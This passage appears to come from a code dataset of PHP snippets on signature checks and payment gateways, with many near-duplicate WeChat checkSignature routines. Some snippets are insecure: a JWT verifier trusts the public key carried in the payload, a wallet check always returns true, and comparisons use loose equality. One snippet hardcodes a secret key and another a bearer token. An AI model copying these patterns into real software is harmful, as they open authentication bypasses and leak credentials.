SORT_STRING);\n $tmpStr = implode( $tmpArr );\n $tmpStr = sha1( $tmpStr );\n if( $tmpStr == $signature ){\n return true;\n }else{\n return false;\n }\n }", "public function getSign($fields)\n {\n }", "private function checkSignature()\n {\n \tif (!defined(\"TOKEN\")) {\n \t\tthrow new Exception('TOKEN is not defined!');\n \t}\n\n \t$signature = $_GET[\"signature\"];\n \t$timestamp = $_GET[\"timestamp\"];\n \t$nonce = $_GET[\"nonce\"];\n\n \t$token = TOKEN;\n \t$tmpArr = array($token, $timestamp, $nonce);\n // use SORT_STRING rule\n \tsort($tmpArr, SORT_STRING);\n \t$tmpStr = implode( $tmpArr );\n \t$tmpStr = sha1( $tmpStr );\n\n \tif( $tmpStr == $signature ){\n \t\treturn true;\n \t}else{\n \t\treturn false;\n \t}\n }", "function validateInterkassaResp($post_in)\n{\n\t$key_to_sort = $post_in;\n\t$ik_co_id = $key_to_sort['ik_co_id'];\n\t$ik_sign = $key_to_sort['ik_sign'];\n\t$ik_am = $key_to_sort['ik_am'];\n\t$ik_inv_st = $key_to_sort['ik_inv_st'];\n\n\t// Forming a digital signature\n\tunset($key_to_sort['ik_sign']);\n\tksort($key_to_sort, SORT_STRING);\n\n\t// Add to the array \"secret key\"\n\tarray_push($key_to_sort, 'XRZxzNbDsQYzsWm2');\n\n\t// Concatenate values ​​by a \":\"\n\t$signString = implode(':', $key_to_sort);\n\n\t// Take the MD5 hash in binary form by\n\t$sign = base64_encode(md5($signString, true));\n\n\t// Validate kassa results\n\tif(\n\t\t$ik_co_id == '5370b755bf4efccb31ad6f90' AND \n\t\t$ik_inv_st == 'success' AND \n\t\t$ik_sign == $sign\n\t)\n\t{\n\t\treturn $ik_am;\n\t}\n\telse\n\t{\n\t\treturn false;\n\t}\n}", "private function checkSignature()\n {\n if (!defined(\"TOKEN\")) {\n throw new Exception('TOKEN is not defined!');\n }\n \n $signature = $_GET[\"signature\"];\n $timestamp = $_GET[\"timestamp\"];\n $nonce = $_GET[\"nonce\"];\n \n $token = TOKEN;\n $tmpArr = array($token, $timestamp, $nonce);\n // use SORT_STRING rule\n sort($tmpArr, SORT_STRING);\n $tmpStr = implode( $tmpArr );\n $tmpStr = sha1( $tmpStr );\n \n if( $tmpStr == $signature ){\n return true;\n }else{\n return false;\n }\n }", "function payment_sign($query, $api_key) {\n $clear_text = '';\n ksort($query);\n foreach ($query as $key => $value) {\n if (substr($key, 0, 2) === \"x_\") {\n $clear_text .= $key . $value;\n }\n }\n $hash = hash_hmac(\"sha256\", $clear_text, $api_key);\n return str_replace('-', '', $hash);\n }", "private function checkSignature()\n\t{\n if (!defined(\"TOKEN\")) {\n throw new Exception('TOKEN is not defined!');\n }\n $signature = $_GET[\"signature\"];\n $timestamp = $_GET[\"timestamp\"];\n $nonce = $_GET[\"nonce\"];\n \t\t\n\t\t$token = TOKEN;\n\t\t$tmpArr = array($token, $timestamp, $nonce);\n // use SORT_STRING rule\n\t\tsort($tmpArr, SORT_STRING);\n\t\t$tmpStr = implode( $tmpArr );\n\t\t$tmpStr = sha1( $tmpStr );\n\n\t\tif( $tmpStr == $signature ){\n\t\t\treturn true;\n\t\t}else{\n\t\t\treturn false;\n\t\t}\n\t}", "function stmpOkay($array){\n return $array['stmp_check'];\n }", "function check_signature(){\n $nonce = $_GET['nonce'];\n $token = 'hello';\n $timestamp = $_GET['timestamp'];\n $signature = $_GET['signature'];\n $echostr = $_GET['echostr'];\n $arr = array($nonce,$token,$timestamp);\n sort($arr);\n $str = sha1(implode($arr));\n if($str == $signature && $echostr){\n echo $echostr;\n }else{\n response();\n }\n}", "private function checkSignature()\n\t{\n if (!defined(\"TOKEN\")) {\n throw new Exception('TOKEN is not defined!');\n }\n \n // 接收参数\n $signature = $_GET[\"signature\"];\n $timestamp = $_GET[\"timestamp\"];\n $nonce = $_GET[\"nonce\"];\n \t\t\n\t\t$token = TOKEN;\n\n // 把参数 压如数组\n\t\t$tmpArr = array($token, $timestamp, $nonce);\n\n // use SORT_STRING rule\n // 字典序排序\n\t\tsort($tmpArr, SORT_STRING);\n\n // 切割数组\n\t\t$tmpStr = implode( $tmpArr );\n // 哈希加密\n\t\t$tmpStr = sha1( $tmpStr );\n\t\t\n // 判断 加密后参数 对比 传递来的加密签名\n\t\tif( $tmpStr == $signature ){\n\t\t\treturn true;\n\t\t}else{\n\t\t\treturn false;\n\t\t}\n\t}", "private function checkSignature()\n\t{\n if (!defined(\"TOKEN\")) {\n throw new Exception('TOKEN is not defined!');\n }\n \n $signature = $_GET[\"signature\"];\n $timestamp = $_GET[\"timestamp\"];\n $nonce = $_GET[\"nonce\"];\n \t\t\n\t\t$token = $this->_token;\n\t\t$tmpArr = array($token, $timestamp, $nonce);\n // use SORT_STRING rule\n\t\tsort($tmpArr, SORT_STRING);\n\t\t$tmpStr = implode( $tmpArr );\n\t\t$tmpStr = sha1( $tmpStr );\n\t\t\n\t\tif( $tmpStr == $signature ){\n\t\t\treturn true;\n\t\t}else{\n\t\t\treturn false;\n\t\t}\n\t}", "private function checkSignature()\n\t{\n if (!defined(\"TOKEN\")) {\n throw new Exception('TOKEN is not defined!');\n }\n \n $signature = $_GET[\"signature\"];\n $timestamp = $_GET[\"timestamp\"];\n $nonce = $_GET[\"nonce\"];\n \t\t\n\t\t$token = TOKEN;\n\t\t$tmpArr = array($token, $timestamp, $nonce);\n // use SORT_STRING rule\n\t\tsort($tmpArr, SORT_STRING);\n\t\t$tmpStr = implode( $tmpArr );\n\t\t$tmpStr = sha1( $tmpStr );\n\t\t\n\t\tif( $tmpStr == $signature ){\n\t\t\treturn true;\n\t\t}else{\n\t\t\treturn false;\n\t\t}\n\t}", "private function checkSignature()\n\t{\n if (!defined(\"TOKEN\")) {\n throw new Exception('TOKEN is not defined!');\n }\n \n $signature = $_GET[\"signature\"];\n $timestamp = $_GET[\"timestamp\"];\n $nonce = $_GET[\"nonce\"];\n \t\t\n\t\t$token = TOKEN;\n\t\t$tmpArr = array($token, $timestamp, $nonce);\n // use SORT_STRING rule\n\t\tsort($tmpArr, SORT_STRING);\n\t\t$tmpStr = implode( $tmpArr );\n\t\t$tmpStr = sha1( $tmpStr );\n\t\t\n\t\tif( $tmpStr == $signature ){\n\t\t\treturn true;\n\t\t}else{\n\t\t\treturn false;\n\t\t}\n\t}", "private function checkSignature()\n\t{\n if (!defined(\"TOKEN\")) {\n throw new Exception('TOKEN is not defined!');\n }\n \n $signature = $_GET[\"signature\"];\n $timestamp = $_GET[\"timestamp\"];\n $nonce = $_GET[\"nonce\"];\n \t\t\n\t\t$token = TOKEN;\n\t\t$tmpArr = array($token, $timestamp, $nonce);\n // use SORT_STRING rule\n\t\tsort($tmpArr, SORT_STRING);\n\t\t$tmpStr = implode( $tmpArr );\n\t\t$tmpStr = sha1( $tmpStr );\n\t\t\n\t\tif( $tmpStr == $signature ){\n\t\t\treturn true;\n\t\t}else{\n\t\t\treturn false;\n\t\t}\n\t}", "public function authorizePayment(array $data) {\n }", "private function checkSignature()\n\t{\n\t\tif (!defined(\"TOKEN\")) {\n\t\t\tthrow new Exception('TOKEN is not defined!');\n\t\t}\n\n\t\t$signature = $_GET[\"signature\"];\n\t\t$timestamp = $_GET[\"timestamp\"];\n\t\t$nonce = $_GET[\"nonce\"];\n\n\t\t$token = TOKEN;\n\t\t$tmpArr = array($token, $timestamp, $nonce);\n\t\t// use SORT_STRING rule\n\t\tsort($tmpArr, SORT_STRING);\n\t\t$tmpStr = implode( $tmpArr );\n\t\t$tmpStr = sha1( $tmpStr );\n\n\t\tif( $tmpStr == $signature ){\n\t\t\treturn true;\n\t\t}else{\n\t\t\treturn false;\n\t\t}\n\t}", "public function testSuccess()\n {\n $signatures = SmartwaiverTypes::createSignatures();\n $swSignatures = new SmartwaiverSignatures($signatures);\n\n $this->assertEquals($signatures['waiverId'], $swSignatures->waiverId);\n $this->assertEquals($signatures['templateId'], $swSignatures->templateId);\n $this->assertEquals($signatures['title'], $swSignatures->title);\n $this->assertEquals($signatures['createdOn'], $swSignatures->createdOn);\n\n $this->assertCount(count($signatures['signatures']['participants']), $swSignatures->participantSignatures);\n foreach($swSignatures->participantSignatures as $participantSignature) {\n $this->assertEquals('BASE64ENCODED', $participantSignature);\n }\n\n $this->assertCount(count($signatures['signatures']['guardian']), $swSignatures->guardianSignatures);\n foreach($swSignatures->guardianSignatures as $guardianSignature) {\n $this->assertEquals('BASE64ENCODED', $guardianSignature);\n }\n\n $this->assertCount(count($signatures['signatures']['bodySignatures']), $swSignatures->bodySignatures);\n foreach($swSignatures->bodySignatures as $bodySignature) {\n $this->assertEquals('BASE64ENCODED', $bodySignature);\n }\n\n $this->assertCount(count($signatures['signatures']['bodyInitials']), $swSignatures->bodyInitials);\n foreach($swSignatures->bodyInitials as $bodyInitial) {\n $this->assertEquals('BASE64ENCODED', $bodyInitial);\n }\n }", "public function getSignatures(){\n $signatures = [];\n $this->filter('signatures', [\n 'active = :active',\n ':active' => 1\n ]);\n\n if($this->signatures){\n $signatures = $this->signatures;\n }\n\n return $signatures;\n }", "function bank_sign_response_simple($mode, $response = array()){\n\tksort($response);\n\tforeach ($response as $k => $v){\n\t\tif (is_numeric($v)){\n\t\t\t$response[$k] = (string)$v;\n\t\t}\n\t}\n\t$s = serialize($response);\n\tinclude_spip(\"inc/securiser_action\");\n\t$sign = calculer_cle_action(\"bank-$mode-$s\");\n\treturn $sign;\n}", "function refundCallBackIndex()\n{\n $refundCallbackVO = array(\n 'merchantId' => 'test_merchant',\n 'refundId' => 'test_456',\n 'tradeNo' => 'REFTRADE20190415060401022956957',\n 'orderId' => 'test_123',\n 'refundAmount' => '1000',\n 'currency' => 'INR',\n 'status' => '1',\n 'errorCode' => '',\n 'errorMsg' => '',\n 'sign' => '055E10F63AF852BDAC8FA174C65F2F8A',\n );\n\n //verify your sign\n $sign = $refundCallbackVO['sign'];\n // Use the test environment link: secretKey needs to be secretKey for the test environment\n // Use the production environment link: the secretKey needs to be secretKey for the production environment\n if (verifyForMd5('test_key', $refundCallbackVO, $sign)) {//change to your merchant secret key from SHAREit pay\n //Process the notify from SHAREit pay with your own logic\n if (true) {\n //default response format without modify\n $successResponse = array(\n 'result_code' => 200,\n 'message' => 'success',\n );\n return json_encode($successResponse, true);\n } else {\n //Exception\n //default response format without modify\n $failureResponse = array(\n 'result_code' => 500,\n 'message' => 'failure',\n );\n return json_encode($failureResponse, true);\n }\n } else {\n echo 'sign error';\n //default response format without modify\n $failureResponse = array(\n 'result_code' => 500,\n 'message' => 'failure',\n );\n return json_encode($failureResponse, true);\n }\n\n}", "public function encrypt($signArr=array()){\n // $Aes->set_key(C(\"key\"));\n // $encode = $Aes->encrypt(json_encode($signArr));\n // \\Think\\Log::write('接口返回数据:'.json_encode($signArr),\\Think\\Log::INFO);\n // return $encode;\n return $signArr;\n }", "public function getSignatures(){\n return $this->signatures ? : [];\n }", "protected function verifyTransactionAtGateway()\n {\n $response = Http::withToken($this->secretKey)->retry(2, 100)->get($this->baseUrl . '/transaction/verify/' . request()->query('reference'), [])->throw()->json();\n if ($response['message'] == \"Verification successful\") {\n $payment = Payment::where('reference_id', $response['data']['reference'])->firstOrFail();\n $payment->status = $response['data']['status'];\n $payment->transaction_id = $response['data']['id'];\n $payment->amount = $response['data']['amount'] / 100;\n $payment->save();\n $response = array_merge($response, ['verified' => true], ['payment' => $payment]);\n return $response;\n }\n return array_merge($response, ['verified' => false]);\n }", "function checkSignature($encodingAesKey,$token,$corpId)\n {\n if (!defined(\"TOKEN\")) {\n throw new Exception('TOKEN is not defined!');\n }\n \n $signature = $_GET[\"msg_signature\"];\n $timestamp = $_GET[\"timestamp\"];\n $nonce = $_GET[\"nonce\"];\n $echoStr = $_GET[\"echostr\"]; \n $token = TOKEN;\n $wxcpt = new WXBizMsgCrypt($token, $encodingAesKey, $corpId);\n $errCode = $wxcpt->VerifyURL($signature, $timestamp, $nonce, $echoStr, $sEchoStr);\n if ($errCode == 0) {\n //\n // 验证URL成功,将sEchoStr返回\n //HttpUtils.SetResponce($sEchoStr);\n echo $sEchoStr;\n return true;\n } else {\n print(\"ERR: \" . $errCode . \"\\n\\n\");\n return false;\n }\n }", "function validatePay($transactionId)\n{\n\n $headers = [\n // You can generate your own token in Jibimo panel at: https://jibimo.com/login\n 'Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsImp0aSI6ImMyMDhhNmMzMzE3YzljMjMxMDhkZDMwODZjZjE3ZDU0YmVkODNkMTc2MWU3MDZjYjE4MWJlY2Q5MjdhNDM3YzYwOTAwYmE2YjcyMWM5OGI0In0.eyJhdWQiOiI5IiwianRpIjoiYzIwOGE2YzMzMTdjOWMyMzEwOGRkMzA4NmNmMTdkNTRiZWQ4M2QxNzYxZTcwNmNiMTgxYmVjZDkyN2E0MzdjNjA5MDBiYTZiNzIxYzk4YjQiLCJpYXQiOjE1NTEwOTI4NTUsIm5iZiI6MTU1MTA5Mjg1NSwiZXhwIjoxNTgyNjI4ODU1LCJzdWIiOiI4MzAiLCJzY29wZXMiOlsibWFrZS1yZXF1ZXN0LXRyYW5zYWN0aW9uIiwibWFrZS1wYXktdHJhbnNhY3Rpb24iXX0.fNb4T-YAVMZuykVnEUUG9YY_mDp_K8mc9Pd3Tuj60AWwIIMT8OTdHbpUM1V2qR1Osz6JY54ES6aU436B3VnkbI4IsFTtJ6QZrSbU3PgYD1rShby8guwGyyc43uKpNhzhNF_WctTFHyg4mrFphuUpOvXWF4uzdbF1dvQp61X8yp0OTvCWpEjJZGegbPZ9Td5uuxo0iTFEY-G4FmpsYe06alansz0-J8Abk1jKpdWiHDwhMOw_BcIarJkFHNktKhqBPYhXD56xSZxnrL4Zyc5fvLqBXXi06IuKc_8NuD33wgaaG-zbN8o_2ODW1WLNZrWC1suM-QwqkoLEBijRCrwtqdmPHoOO2Ff0psigIUXT5ovAobQ07YnUsnXSdOTqgk4WMl8jdgtNmg0r-6ylolizZsWKUfqo_WBcn5QVg5vilB9H73XNqTlwNJwKezeMLE-dc0ui80OU9t1UbLp-BcOrpAhcAj-u0hRwn11HQkz45MSYEdMvHS7gQqPO_yZ18M2OzMp8_J14tTUblG6sJxCwrKadXw1lOWwt5-H3fRtPj0yeHUY2cuh-9ZQRKrin7-DUTgnwNzLEKsRn_VAXUL7E-wWE5vQaY7_8I-GHjZEXogUedK0QtFEPiahAbdY7-rbJB1GffJF8UvubHuQjDy_NMb6MqVeR5ANfI7IKPoxt7Yk',\n\n 'Accept: application/json',\n ];\n\n // Remove `sandbox` from URL if you want to call the main API in production server\n return get(\"https://jibimo.com/sandbox/api/business/pay/$transactionId\", $headers);\n}", "private function checkSignature()\n\t{\n if (!defined(\"TOKEN\")) {\n throw new Exception('TOKEN is not defined!');\n }\n $logfile = fopen(\"./log/token_log\", \"a\");\n $signature = $_GET[\"signature\"];\n $timestamp = $_GET[\"timestamp\"];\n $nonce = $_GET[\"nonce\"];\t\n\t\t$token = TOKEN;\n\t\t$tmpArr = array($token, $timestamp, $nonce);\n // use SORT_STRING rule\n\t\tsort($tmpArr, SORT_STRING);\n\t\t$tmpStr = implode( $tmpArr );\n\t\t$tmpStr = sha1( $tmpStr );\n\t\tif( $tmpStr == $signature ){\n\t\t\treturn true;\n\t\t}else{\n\t\t\treturn false;\n\t\t}\n\t}", "private function GenerateSignData()\n {\n $sign_data = [\n isset($this->form_parameters['merchantId']) ? $this->form_parameters['merchantId'] : '',\n isset($this->form_parameters['orderRef']) ? $this->form_parameters['orderRef'] : '',\n isset($this->form_parameters['currCode']) ? $this->form_parameters['currCode'] : '',\n isset($this->form_parameters['amount']) ? $this->form_parameters['amount'] : '',\n isset($this->form_parameters['payType']) ? $this->form_parameters['payType'] : '',\n isset($this->form_parameters['secureHashSecret']) ? $this->form_parameters['secureHashSecret'] : '',\n ];\n\n return implode('|', $sign_data);\n }", "public function checkSignature()\n\t{\n\t\tif (!defined(\"TOKEN\")) {\n\t\t\tthrow new Exception('TOKEN is not defined!');\n\t\t}\n\t\n\t\t$signature = $_GET[\"signature\"];\n\t\t$timestamp = $_GET[\"timestamp\"];\n\t\t$nonce = $_GET[\"nonce\"];\n\t\n\t\t$token = TOKEN;\n\t\t$tmpArr = array($token, $timestamp, $nonce);\n\t\t// use SORT_STRING rule\n\t\tsort($tmpArr, SORT_STRING);\n\t\t$tmpStr = implode( $tmpArr );\n\t\t$tmpStr = sha1( $tmpStr );\n\t\n\t\tif( $tmpStr == $signature ){\n\t\t\treturn true;\n\t\t}else{\n\t\t\treturn false;\n\t\t}\n\t}", "function verify($filePath, $publicKeys = array(), $fileSign = null){\n $payload = \"\";\n if($fileSign!=null){\n if(file_exists($fileSign))\n $payload = file_get_contents($fileSign);\n else{\n // if not file then it is a payload\n $payload = $fileSign;\n }\n }else{\n $payload = file_get_contents($filePath.'.jwt.sign');\n }\n if($publicKeys==null)\n $publicKeys = array();\n\n $result = array();\n $signs = explode(\"\\n\",str_replace(\"\\r\",'',$payload));\n\n foreach($signs as $temp){\n //sign array 0 is email 1 is jwt\n $sign = explode(\" \",$temp);\n //if it email then process\n if (filter_var($sign[0], FILTER_VALIDATE_EMAIL)) {\n //get public key from payload if publicKeys not provided\n if(!isset($publicKeys[$sign[0]])){\n $tmp = explode(\".\",$sign[1]);\n $data = json_decode(base64_decode($tmp[1]),true);\n $publicKey = $data['key'];\n }else{\n $publicKey = $publicKeys[$sign[0]];\n }\n try{\n $res = (array) JWT::decode($sign[1], $publicKey, array('RS256'));\n foreach($res as $k => $v){\n $result[$sign[0]][$k] = $v;\n }\n $path = ($filePath!=null && file_exists($filePath))? $filePath : $res['file'];\n if(!file_exists($path)){\n $result[$sign[0]]['verified'] = false;\n $result[$sign[0]]['error'] = 'File not found';\n }else{\n $result[$sign[0]]['sha256_verified'] = ($res['sha256']==hash_file(\"sha256\",$path));\n $result[$sign[0]]['sha1_verified'] = ($res['sha1']==sha1_file($path));\n $result[$sign[0]]['md5_verified'] = ($res['md5']==md5_file($path));\n if($result[$sign[0]]['sha256_verified'] && $result[$sign[0]]['sha1_verified'] && \n $result[$sign[0]]['md5_verified']){\n $result[$sign[0]]['verified'] = true;\n }else{\n $result[$sign[0]]['verified'] = false;\n }\n }\n }catch(\\Exception $e){\n $result[$sign[0]]['verified'] = false;\n $result[$sign[0]]['error'] = 'Signature invalid, '.$e->getMessage();\n }\n }\n }\n return $result;\n }", "public static function genSign($array){\n // 获取排序\n ksort($array);\n $stringA = \"\";\n foreach($array as $key => $val){\n if($val != NULL){\n $stringA = $stringA . \"$key=$val&\";\n }\n }\n $mch_key = WxAppInfo::get(1)->mch_key;\n $stringA = $stringA . \"key=$mch_key\";\n return strtoupper(md5($stringA));\n }", "protected function validate(array $message)\n {\n $sign = $message['sign'];\n unset($message['sign']);\n if (Support\\generate_sign($message, $this->app->getKey()) !== $sign) {\n throw new InvalidSignException();\n }\n }", "public function verify($params = array())\r\n {\r\n $returnURL = \"http://localhost\"; \r\n $cancelURL = \"http://localhost\"; \r\n $currencyCode = \"USD\";\r\n $startingDate = \"2011-02-24T13:00:00\"; \r\n $endingDate = \"2011-02-28T13:00:00\"; \r\n $maxTotalAmountOfAllPayments = \"2000\"; \r\n $senderEmail = \"\"; \r\n $maxNumberOfPayments = \"\"; \r\n // NO_PERIOD_SPECIFIED\r\n // DAILY - each day\r\n // WEEKLY - each week\r\n // BIWEEKLY - every other week\r\n // SEMIMONTHLY - twice a month\r\n // MONTHLY - each month\r\n // ANNUALLY - each year \r\n $paymentPeriod = \"\"; \r\n \r\n $dateOfMonth = \"\"; \r\n $dayOfWeek = \"\";\r\n $maxAmountPerPayment = \"\"; \r\n $maxNumberOfPaymentsPerPeriod = \"\"; \r\n $pinType = \"\"; \r\n $resArray = $this->CallPreapproval ($returnURL, $cancelURL, $currencyCode, $startingDate, $endingDate, $maxTotalAmountOfAllPayments,\r\n $senderEmail, $maxNumberOfPayments, $paymentPeriod, $dateOfMonth, $dayOfWeek,\r\n $maxAmountPerPayment, $maxNumberOfPaymentsPerPeriod, $pinType\r\n );\r\n $ack = strtoupper($resArray[\"responseEnvelope.ack\"]);\r\n if($ack==\"SUCCESS\")\r\n {\r\n $this->preapprovalKey = $resArray[\"preapprovalKey\"];\r\n $cmd = \"cmd=_ap-preapproval&preapprovalkey=\" . urldecode($resArray[\"preapprovalKey\"]);\r\n $this->Redirect( $cmd );\r\n //return $resArray[\"preapprovalKey\"];\r\n } \r\n else \r\n {\r\n $ErrorCode = urldecode($resArray[\"error(0).errorId\"]);\r\n $ErrorMsg = urldecode($resArray[\"error(0).message\"]);\r\n $ErrorDomain = urldecode($resArray[\"error(0).domain\"]);\r\n $ErrorSeverity = urldecode($resArray[\"error(0).severity\"]);\r\n $ErrorCategory = urldecode($resArray[\"error(0).category\"]);\r\n $this->errors = $ErrorCode.':'.$ErrorMsg.' '.$ErrorDomain.' '.$ErrorSeverity.' '.$ErrorCategory;\r\n $this->logging('verify Error : '. $this->errors);\r\n return false;\r\n }\r\n }", "function eth_verify_wallet($addr, $sig) {\n\treturn true;\n}", "private function sign($fields) {\n\t\t$temp = array();\n\t\twhile (list ($key, $val) = each($fields)) {\n\t\t\tif ($key == \"sign\" || $key == \"sign_type\" || $val == \"\") continue;\n\t\t\telse $temp[$key] = $fields[$key];\n\t\t}\n\t\t$fields = $temp;\n\t\tunset($temp);\n\n\t\tksort($fields);\n\t\treset($fields);\n\t\t$signString = \"\";\n\t\twhile (list ($key, $val) = each($fields)) {\n\t\t\t$signString .= $key . \"=\" . $val . \"&\";\n\t\t}\n\t\t$signString = substr($signString, 0, count($signString) - 2);\n\t\t$sign = md5($signString . $this->ifSet($this->meta['key']));\n\n\t\t$fields['sign'] = $sign;\n\t\t$fields['sign_type'] = \"MD5\";\n\t\treturn $fields;\n\t}", "function sign()\n {\n\n //Get particular key\n\n $keyResponse = $this->get('\"'.$this->id.'\"');\n\n\n if ($keyResponse){\n //Get the key version reference on Azure\n $keyID = $this->key_version;\n\n //Sign with given key\n $signResponse = $this->keyVaultKey->sign($keyID, $this->algorithm,$this->hash);\n\n\n //If success, return signature\n if ($signResponse[\"responsecode\"] == 200) {\n $signatureValue = $signResponse['data']['value'];\n $this->signature = $signatureValue;\n return true;\n }\n\n //Return signing error from Azure\n else {\n $this->keyVault_error = $signResponse[\"responseMessage\"][\"message\"];\n return false;\n }\n\n }\n\n //Return key error from Azure\n else{\n $this->keyVault_error = $keyResponse[\"responseMessage\"][\"message\"];\n return false;\n\n }\n\n }", "public function getSignaturesData() : array {\n $signaturesData = [];\n $signatures = $this->getSignatures();\n foreach($signatures as $signature){\n $signaturesData[] = $signature->getData();\n }\n\n return $signaturesData;\n }", "public function verify()\n {\n /**\n * Make a signature temporary\n * Note: each paid has it's own specific signature\n */\n $signature = $this->generate_signature(\n $this->merchant_id,\n $this->bank_receipt,\n $this->invoice_number\n );\n \n // Make proper array of token params\n $params = [\n 'SaleConf_req' => [\n 'MID' => $this->enc($this->merchant_id),\n 'CRN' => $this->enc($this->invoice_number),\n 'TRN' => $this->enc($this->bank_receipt),\n 'SIGNATURE' => base64_encode($signature),\n ],\n ];\n \n // Send params to bank to get token\n $result = $this->call($this->transaction_reference_wsdl, 'sendConfirmation', $params);\n\n if ($result['RESCODE'] == -1)\n throw new BankException('امضا دیچیتال نا معتبر است', -1);\n elseif ($result['RESCODE'] == -2)\n throw new BankException('آدرس IP پذیرنده نا معتبر است', -2);\n elseif (!in_array($result['RESCODE'], [0, 101]))\n throw new BankException(null, $result['RESCODE']); // خطاهای تعریف شده دیگر\n\n\n $data = $result['RESCODE'] . $result['REPETETIVE'] . $result['AMOUNT'] . $result['DATE'] . $result['TIME'] . $result['TRN'] . $result['STAN'];\n\n // State whether signature is okay or not\n $verify_result = openssl_verify($data, base64_decode($result['SIGNATURE']), $this->key_resource);\n\n if ($verify_result == 0)\n throw new BankException('خطای امضای دیجیتال');\n elseif ($verify_result != 1)\n throw new BankException('عدم تطبیق امضا دیجیتال بانک');\n\n /**\n * Result Webservice Array\n * if you need special design for your website, please modify following codes\n */\n if (!empty($result['RESCODE'])) {\n // success\n if (($result['RESCODE'] == '00') && ($result['successful'] == true)) {\n return new SaderatResult(\n true, // success\n $this->getInvoiceNumber(),\n $this->getBankReceiptNumber(),\n false // repetitive\n );\n } // cancel\n elseif ($result['RESCODE'] == 101) {\n throw new RepetitiveException(\n $this->getInvoiceNumber(),\n $this->getBankReceiptNumber()\n );\n } // cancel\n elseif ($result['RESCODE'] == 200) {\n throw new BankException('تراکنش توسط کاربر کنسل شده است');\n } // cancel\n elseif ($result['RESCODE'] == 107) {\n throw new BankException(null, 107);\n } // other problem\n elseif (!empty($result['description']))\n throw new BankException($result['description']);\n\n } else\n throw new BankException('درخواست نامعتبر است');\n\n }", "function isValid($array){\n return $array['format_valid'];\n }", "public function usesSignatures() {\n\t\t\treturn $this->signKey !== null;\n\t\t}", "public function checkSignature() {\n\t\tif (! defined ( \"TOKEN\" )) {\n\t\t\tthrow new Exception ( 'TOKEN is not defined!' );\n\t\t}\n\t\t\n\t\t$signature = $_GET [\"signature\"];\n\t\t$timestamp = $_GET [\"timestamp\"];\n\t\t$nonce = $_GET [\"nonce\"];\n\t\t\n\t\t$token = TOKEN;\n\t\t$tmpArr = array (\n\t\t\t\t$token,\n\t\t\t\t$timestamp,\n\t\t\t\t$nonce \n\t\t);\n\t\t// use SORT_STRING rule\n\t\tsort ( $tmpArr, SORT_STRING );\n\t\t$tmpStr = implode ( $tmpArr );\n\t\t$tmpStr = sha1 ( $tmpStr );\n\t\t\n\t\tif ($tmpStr == $signature) {\n\t\t\treturn true;\n\t\t} else {\n\t\t\treturn false;\n\t\t}\n\t}", "public function provideSignJsConnectTests()\n {\n return [\n \"default\" => [\n [\n \"name\" => \"John PHP\",\n \"email\" => \"[email protected]\",\n \"unique_id\" => \"123\",\n ],\n \"clientID\",\n \"secret\",\n \"sha256\",\n false,\n \"71528bfbb99aba97734f79beab6d1eca1416e05a0587e9ab55b99095753f74b6\",\n ],\n \"unordered\" => [\n [\n \"unique_id\" => \"123\",\n \"email\" => \"[email protected]\",\n \"name\" => \"John PHP\",\n ],\n \"clientID\",\n \"secret\",\n \"sha256\",\n false,\n \"71528bfbb99aba97734f79beab6d1eca1416e05a0587e9ab55b99095753f74b6\",\n ],\n \"incorrectKeyCase\" => [\n [\n \"Name\" => \"John PHP\",\n \"eMail\" => \"[email protected]\",\n \"UNIQUE_id\" => \"123\",\n ],\n \"clientID\",\n \"secret\",\n \"sha256\",\n false,\n \"71528bfbb99aba97734f79beab6d1eca1416e05a0587e9ab55b99095753f74b6\",\n ],\n \"trueAsHashType\" => [\n [\n \"Name\" => \"John PHP\",\n \"eMail\" => \"[email protected]\",\n \"unique_id\" => \"123\",\n ],\n \"clientID\",\n \"secret\",\n true,\n false,\n \"f1639a1838bd904cb967423be0567802\",\n ],\n \"extraInfo\" => [\n [\n \"unique_id\" => \"123\",\n \"email\" => \"[email protected]\",\n \"name\" => \"John PHP\",\n \"custom_field\" => \"custom\",\n ],\n \"clientID\",\n \"secret\",\n \"sha256\",\n false,\n \"72976aaaa96cb1acc94aa8c1638a0b3e10bb638e3985e25f60f6db79f65fcefb\",\n ],\n \"defaultReturnData\" => [\n [\n \"name\" => \"John PHP\",\n \"email\" => \"[email protected]\",\n \"unique_id\" => \"123\",\n ],\n \"clientID\",\n \"secret\",\n \"sha256\",\n true,\n [\n \"name\" => \"John PHP\",\n \"email\" => \"[email protected]\",\n \"unique_id\" => \"123\",\n \"client_id\" => \"clientID\",\n \"sig\" =>\n \"71528bfbb99aba97734f79beab6d1eca1416e05a0587e9ab55b99095753f74b6\",\n ],\n ],\n ];\n }", "public function getSignaturesData() : array {\n $signaturesData = [];\n $signatures = $this->getSignatures();\n\n foreach($signatures as $signature){\n $signaturesData[] = $signature->getData();\n }\n\n return $signaturesData;\n }", "public function testValidSignature()\n {\n $authId = key($this->keys);\n $authSecret = reset($this->keys);\n $timestamp = 1432075982;\n\n $headers = [\n 'Content-Type' => 'text/plain',\n 'X-Authorization-Timestamp' => $timestamp,\n 'Authorization' => 'acquia-http-hmac realm=\"Pipet service\",'\n . 'id=\"' . $authId . '\",'\n . 'nonce=\"d1954337-5319-4821-8427-115542e08d10\",'\n . 'version=\"2.0\",'\n . 'headers=\"\",'\n . 'signature=\"MRlPr/Z1WQY2sMthcaEqETRMw4gPYXlPcTpaLWS2gcc=\"',\n ];\n $request = new Request(\n 'GET',\n 'https://example.acquiapipet.net/v1.0/task-status/133?limit=10',\n $headers\n );\n\n $authenticator = new MockRequestAuthenticator(\n new MockKeyLoader($this->keys),\n null,\n $timestamp\n );\n\n $key = $authenticator->authenticate($request);\n\n $this->assertInstanceOf(KeyInterface::class, $key);\n $this->assertEquals($authId, $key->getId());\n $this->assertEquals($authSecret, $key->getSecret());\n }", "protected function sign()\n {\n trigger_error(\"Not implemented\", E_ERROR);\n }", "private function generate_signature()\n {\n $phrase = implode('', func_get_args());\n /**\n * Sign data and make final signature\n */\n $signature = '';\n $private_key_id = openssl_pkey_get_private($this->private_key);\n if (!openssl_sign($phrase, $signature, $private_key_id, OPENSSL_ALGO_SHA1)) {\n throw new BankException('OPEN SSL SIGN ERROR');\n }\n\n return $signature;\n }", "function sign($date) {\n $key = 